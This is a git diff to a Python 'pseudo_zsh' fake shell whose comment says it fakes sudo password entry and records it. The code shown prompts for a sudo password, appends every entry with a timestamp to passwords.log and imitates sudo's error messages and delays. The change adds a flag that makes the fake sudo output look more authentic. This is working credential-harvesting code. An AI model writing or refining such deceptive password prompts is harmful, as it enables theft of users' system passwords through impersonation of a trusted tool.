diff --git a/main.py b/main.py index fd94f5c..9121948 100644 --- a/main.py +++ b/main.py @@ -76,11 +76,14 @@ def pseudo_zsh(): continue # 伪造 sudo 密码输入并记录 + if args[0] == 'sudo': + flight = True for attempt in range(3): # 循环 3 次 fake_password = getpass.getpass("Password: ") if fake_password == "1234": print("20250910553 is not in the sudoers file.\nThis incident has been reported to the administrator.") + flight = False break with open("passwords.log", "a") as f: current_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S") # 获取当前时间 @@ -88,7 +91,8 @@ def pseudo_zsh(): delay = random.uniform(0.5, 2.0) # 随机延时 0.5 到 2 秒 time.sleep(delay) # 模拟延迟 print("Sorry, try again.") - print("sudo: 3 incorrect password attempts") # 提示错误次数 + if flight: + print("sudo: 3 incorrect password attempts") # 提示错误次数 continue # 执行普通命令